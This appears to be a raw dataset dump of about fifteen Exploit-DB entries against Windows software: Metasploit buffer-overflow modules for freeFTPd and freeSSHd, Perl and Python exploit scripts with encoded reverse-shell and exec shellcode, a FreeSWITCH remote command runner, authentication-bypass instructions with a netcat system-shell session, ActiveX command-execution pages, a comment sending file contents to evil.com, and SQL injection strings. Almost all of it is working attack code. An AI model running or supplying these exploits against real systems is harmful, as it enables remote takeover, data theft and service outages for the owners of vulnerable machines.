deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16462
Description: freeFTPd 1.0.10 - Key Exchange Algorithm String Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: freeftpd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
			'Description'    => %q{
					This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
				This flaw is due to a buffer overflow error when handling a specially
				crafted key exchange algorithm string received from an SSH client.
				This module is based on MC's freesshd_key_exchange exploit.
			},
			'Author'         => 'riaf [at] mysec.org',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2006-2407'],
					['OSVDB', '25569'],
					['BID', '17958'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP0-SP4 English',  			{ 'Ret' => 0x750231e2 } ],
					[ 'Windows 2000 SP0-SP4 German',   			{ 'Ret' => 0x74f931e2 } ],
					[ 'Windows XP SP0-SP1 English',    			{ 'Ret' => 0x71ab1d54 } ],
					[ 'Windows XP SP2 English',       		 	{ 'Ret' => 0x71ab9372 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'May 12 2006',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(22)
			], self.class)
	end

	def exploit
		connect

		sploit =  "SSH-2.0-OpenSSH_3.9p1"
		sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
		sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
		sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
		sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

		res = sock.recv(40)
		if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
			print_status("Trying target #{target.name}...")
			sock.put(sploit)
		else
			print_status("Not running a vulnerable version...")
		end

		handler
		disconnect

	end
end
Exploit-DB #23079
Description: freeFTPd 1.2.6 - Remote Authentication Bypass
Type: remote
Platform: windows
Date: 2012-12-02
Author: kingcope

Exploit:
FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
Discovered & Exploited By Kingcope
Year 2011
--

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip

Example banner: WeOnlyDo-wodFTPD 2.3.6.165

This package includes all you need to successfully root any version of FreeFTPD:

* Modified version of ssh.exe (FreeFTPD authentication bypass)
* sftp.exe for connecting to the server
* nullevent.exe connect back shell that is uploaded to the server
* nullevent.mof file which is uploaded to the server to execute the connect back shell
* MSVCR100.dll that is needed by nullevent.exe 
* scan logs for your pleasure!

We make use of the STUXNET technique to execute code, So let's go:

1.) Setup a netcat on a host you have, firewall open on the listening port
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
4.) upload (put) nullevent.exe: put nullevent.exe
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
8.)  Enjoy!
9.)  Enjoy!
10.) Enjoy!

Example exploitation session:

C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171
Could not create directory '/home/KC/.ssh'.
The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established.
RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
Connected to 83.241.214.171.
sftp> put nullevent.exe
Uploading nullevent.exe to /nullevent.exe
nullevent.exe                                                                         100% 7168     7.0KB/s   00:00
sftp> put MSVCR100.dll
Uploading MSVCR100.dll to /MSVCR100.dll
MSVCR100.dll                                                                          100%  751KB  22.8KB/s   00:33
sftp> put nullevent.mof wbem/mof/nullevent.mof
Uploading nullevent.mof to /wbem/mof/nullevent.mof
nullevent.mof                                                                         100%  691     0.7KB/s   00:00
sftp>

[root@vs2067037 ~]# nc -v -l 443
Connection from 83.231.224.193 port 443 [tcp/https] accepted
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system
Exploit-DB #52342
Description: freeSSHd 1.0.9 - Denial of Service (DoS)
Type: remote
Platform: windows
Date: 2025-06-26
Author: Fernando Mengali

Exploit:
# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
# Date: 2024-01-13
# Discovery by: Fernando Mengali
# Linkedin: https://www.linkedin.com/in/fernando-mengali/
# Software Link: https://www.exploit-db.com/apps/be82447d556d60db55053d658b4822a8-freeSSHd.exe
# Version: 1.0.9
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Tested on: Windows XP - SP3 - English
# CVE: CVE-2024-0723


use IO::Socket;


#2. Proof of Concept - PoC

    $sis="$^O"; 

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

my $bufff =
  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;


    my $payload =
      "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
      "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);

    $payload .= $payload;
    $payload .= "C" x 19021 . "\r\n";

my $i=0;
while ($i<=18) {
    my $sock = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Cannot connect!\n";

    if (<$sock> eq '') {
    print "[+] Done - Exploited success!!!!!\n\n";
    exit;
    }

    $sock->send($payload) or die "Exploited successuful!!!";

$i++;
}



  
   sub intro {
      print q {


                              _/|     
	                         // o\    
	                         || ._)  
        	                 //__\   
        	                 )___(   

	    [+] freeSSHd 1.0.9 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }
Exploit-DB #16461
Description: freeSSHd 1.0.9 - Key Exchange Algorithm String Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: freesshd_key_exchange.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
			'Description'    => %q{
					This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
				This flaw is due to a buffer overflow error when handling a specially
				crafted key exchange algorithm string received from an SSH client.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2006-2407'],
					['OSVDB', '25463'],
					['BID', '17958'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e51877 } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77e53877 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'May 12 2006',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(22)
			], self.class)
	end

	def exploit
		connect

		sploit =  "SSH-2.0-OpenSSH_3.9p1"
		sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
		sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
		sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
		sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

		res = sock.recv(22)
		if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
			print_status("Trying target #{target.name}...")
			sock.put(sploit)
		else
			print_status("Not running a vulnerable version...")
		end

		handler
		disconnect

	end
end
Exploit-DB #8295
Description: freeSSHd 1.2.1 - 'rename' Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-03-27
Author: r0ut3r

Exploit:
# FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit
#
# Advisory: http://www.bmgsec.com.au/advisory/45/
# Original: http://www.bmgsec.com.au/advisory/32/
# Related : http://www.bmgsec.com.au/advisory/42/
#
# Test box: WinXP Pro SP2 English
#
# Exploit code for a vulnerability I discovered sometime
# ago in FreeSSHd 1.2.1. This code should be run from a 
# user titled "root", or adjust the payload for your 
# username. I've left space for adjustments. Up to the
# first six NOPs can be used (inclusive). 
#
# The code exploits a vulnerability in the SFTP Rename
# operation. The vulnerability was patched in 1.2.2
#
# 00416F98  50             PUSH EAX                      
# 00416F99  8D85 B8FEFFFF  LEA EAX,DWORD PTR SS:[EBP-148]
# 00416F9F  50             PUSH EAX                      
# 00416FA0  E8 45B50400    CALL <JMP.&MSVCRT.strcpy>     
#
#
# Written and discovered by:
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

$nop = "\x90";
$padding = 'A' x 105;

my $SEH = "\x21\x11\x40\x00"; # pop, pop, ret - 0x00401121 (Universal - freeSSHdServer.exe)
my $nextSEH = "\xEB\xF0\x90\x90"; # jmp short 240, nop, nop

$mShellcode = "\xE9\xF2\xFE\xFF\xFF";

# win32_exec -  EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub - metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02".
"\x28\x29\x10\x83\xeb\xfc\xe2\xf4\xfe\xc0\x6d\x10\x02\x28\xa2\x55".
"\x3e\xa3\x55\x15\x7a\x29\xc6\x9b\x4d\x30\xa2\x4f\x22\x29\xc2\x59".
"\x89\x1c\xa2\x11\xec\x19\xe9\x89\xae\xac\xe9\x64\x05\xe9\xe3\x1d".
"\x03\xea\xc2\xe4\x39\x7c\x0d\x14\x77\xcd\xa2\x4f\x26\x29\xc2\x76".
"\x89\x24\x62\x9b\x5d\x34\x28\xfb\x89\x34\xa2\x11\xe9\xa1\x75\x34".
"\x06\xeb\x18\xd0\x66\xa3\x69\x20\x87\xe8\x51\x1c\x89\x68\x25\x9b".
"\x72\x34\x84\x9b\x6a\x20\xc2\x19\x89\xa8\x99\x10\x02\x28\xa2\x78".
"\x3e\x77\x18\xe6\x62\x7e\xa0\xe8\x81\xe8\x52\x40\x6a\x56\xf1\xf2".
"\x71\x40\xb1\xee\x88\x26\x7e\xef\xe5\x4b\x48\x7c\x61\x28\x29\x10";

my $payload = $nop x 6 . $shellcode . $padding . $mShellcode . $nop x 9 . $nextSEH . $SEH;

my $sftp = $ssh2->sftp();
$sftp->rename($payload, 'B');

print "[+] Sent";
$ssh2->disconnect;

# milw0rm.com [2009-03-27]
Exploit-DB #23080
Description: freeSSHd 2.1.3 - Remote Authentication Bypass
Type: remote
Platform: windows
Date: 2012-12-02
Author: kingcope

Exploit:
FreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23080.zip

Run like:

ssh.exe -l<valid username> <host>

valid username might be:

root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp

or anything you can imagine.


The vulnerable banner of the most recent version is:

SSH-2.0-WeOnlyDo 2.1.3


For your pleasure,

KingcopeFreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011

Run like:

ssh.exe -l<valid username> <host>

valid username might be:

root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp

or anything you can imagine.


The vulnerable banner of the most recent version is:

SSH-2.0-WeOnlyDo 2.1.3


For your pleasure,

Kingcope
Exploit-DB #47799
Description: FreeSWITCH 1.10.1 - Command Execution
Type: remote
Platform: windows
Date: 2019-12-20
Author: 1F98D

Exploit:
# Exploit Title: FreeSWITCH 1.10.1 - Command Execution
# Date: 2019-12-19
# Exploit Author: 1F98D
# Vendor Homepage: https://freeswitch.com/
# Software Link: https://files.freeswitch.org/windows/installer/x64/FreeSWITCH-1.10.1-Release-x64.msi
# Version: 1.10.1
# Tested on: Windows 10 (x64)
#
# FreeSWITCH listens on port 8021 by default and will accept and run commands sent to
# it after authenticating. By default commands are not accepted from remote hosts.
#
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
#
# nt authority\system
# 

#!/usr/bin/python3

from socket import *
import sys

if len(sys.argv) != 3:
    print('Missing arguments')
    print('Usage: freeswitch-exploit.py <target> <cmd>')
    sys.exit(1)

ADDRESS=sys.argv[1]
CMD=sys.argv[2]
[CREDENTIAL_REDACTED]' # default password for FreeSWITCH

s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))

response = s.recv(1024)
if b'auth/request' in response:
    s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
    response = s.recv(1024)
    if b'+OK accepted' in response:
        print('Authenticated')
        s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
        response = s.recv(8096).decode()
        print(response)
    else:
        print('Authentication failed')
        sys.exit(1)
else:
    print('Not prompted for authentication, likely not vulnerable')
    sys.exit(1)
Exploit-DB #34230
Description: Freewebscriptz Online Games Login - Multiple SQL Injections
Type: remote
Platform: windows
Date: 2009-12-31
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/41267/info

Free Web Scriptâ??z Online Games is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


The following example data are available:

user: ' or ' 1=1
pass: ' or ' 1=1
Exploit-DB #6324
Description: Friendly Technologies - 'fwRemoteCfg.dll' ActiveX Command Execution
Type: remote
Platform: windows
Date: 2008-08-28
Author: spdr

Exploit:
<!--
In addition to the overflow found in the "Friendly Technologies" dialers ActiveX,
Here is a "remote command execution" exploit.
Its so sad people dont actually Think...

Greetz to Binaryvision
======================
- http://www.binaryvision.org.il/
-- irc.nix.co.il/#binaryvision
--- written by spdr.
-->

<html>
<object classid='clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B' id='lamers' ></object>
<script language='vbscript'>

lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0 

</script>

# milw0rm.com [2008-08-28]
Exploit-DB #6334
Description: Friendly Technologies - Read/Write Registry/Read Files
Type: remote
Platform: windows
Date: 2008-08-30
Author: spdr

Exploit:
<!-- 
Proof of Concept...
Read write to registry
and also read files

More codes at irc.nix.co.il/#binaryvision !
-->

<html>
<title>Friendly Technologies - Read/Write Registry</title>
<object classid="clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B" id='FT'></object>

<script language='Javascript'>
// Write to Registry
FT.RegistryValue (1, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Key Name Here", 1) = "Input Here";

// Read from Registry
var readreg = FT.RegistryValue (1, "SOFTWARE\\Friendly Technologies\\FriendlyWeb Dialer", "Version", 1);
alert(readreg);

// Read from file
var readme=FT.GetTextFile("c:\\boot.ini");
alert(readme); // <img src="http://evil.com/postfiles.php?input="+readme ...
</script>

# milw0rm.com [2008-08-30]
Exploit-DB #19897
Description: FrontPage 2000 / IIS 4.0/5.0 - Server Extensions Full Path Disclosure
Type: remote
Platform: windows
Date: 2000-05-06
Author: Frankie Zie

Exploit:
source: https://www.securityfocus.com/bid/1174/info

The local path of a HTML, HTM, ASP, or SHTML file can be disclosed in Microsoft IIS 4.0/5.0 / Frontpage Server Extensions 1.1 and prior. Passing a path to a non-existent file to the shtml.exe or shtml.dll (depending on platform) program will display an error message stating that the file cannot be found accompanied by the full local path to the web root. For example, performing a request for http://target/_vti_bin/shtml.dll/non_existant_file.html will produce an error message stating "Cannot open "C:\localpath\non_existant_file.html": no such file or folder"

http://target/_vti_bin/shtml.exe/non-existent-file.html
http://target/_vti_bin/shtml.exe/non-existent-file.htm
http://target/_vti_bin/shtml.exe/non-existent-file.shtml
http://target/_vti_bin/shtml.exe/non-existent-file.asp
http://target/_vti_bin/shtml.dll/non_existant_file.html
Exploit-DB #19877
Description: FrontPage 98/Personal WebServer 1.0 / Personal Web Server 2.0 - 'htimage.exe' File Existence Disclosure
Type: remote
Platform: windows
Date: 2000-04-19
Author: Narrow

Exploit:
source: https://www.securityfocus.com/bid/1141/info

htimage.exe can be used to determine if a specified path and filename exists on the target host or not. The specified path must be on the same logical drive as the web content.

Any file can be specified as an image map in the URL. htimage.exe will then look for that path in the webroot, and then the root of the logical drive containing the webroot. If htimage.exe finds the file, it will generate an error about the file not being a valid image map, along the lines of:

"No URL returned, not even default set for the picture." (for a .txt or .bat file)

or:

"Syntax error at line 1 Bad field name, expecting 'default', 'rectangle', 'circle' or 'polygon' (got an alphanumeric string)."

Although this in itself is a small issue, it could be used as part of OS fingerprinting or root folder discovery.

Requesting a nonexistent file will return an error message disclosing the actual path of the web root. 

Eg.

Error calling HTImage:

Picture config file not found, tried the following:
* C:\Inetpub\wwwroot\path\non-existent-file.html
* /path/non-existent-file.html

http:&nbsp;//target/cgi-bin/htimage.exe/path/filename?0,0
Exploit-DB #4484
Description: FSFDT v3.000 d9 - 'HELP' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-10-04
Author: weak

Exploit:
# ~$ nc -l -p 4321
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
# 
# E:\draft\fsd1110\windows>_
# 
# -------------------------------------------

#!/usr/bin/perl

# FSFDT remote exploit by weak[at]fraglab.at
# spawns reverse shell to 10.0.0.100:4321
# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4

use IO::Socket;

if( $#ARGV < 1 )
{
	print "usage: perl ".$0." <ip> <port>";
	exit();
}
my $ip = $ARGV[0];
my $port = $ARGV[1];

print "connecting...\n";
my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
die "could not create socket: $!\n" unless $sock;

# jmp esp in KERNEL32.DLL 5.0.2195.7006
my $jmpesp = "\xB7\x49\xE7\x77";

# encoded 'jmp 0x400' to jump to stage2
my $jmpcode = 
"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";

# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
# bad chars: 0x00 0x0A 0x0D 0x20 0x29 
my $shellcode =
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";

print "sending payload...\n";
print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
close($sock);

print "done.\n";

# milw0rm.com [2007-10-04]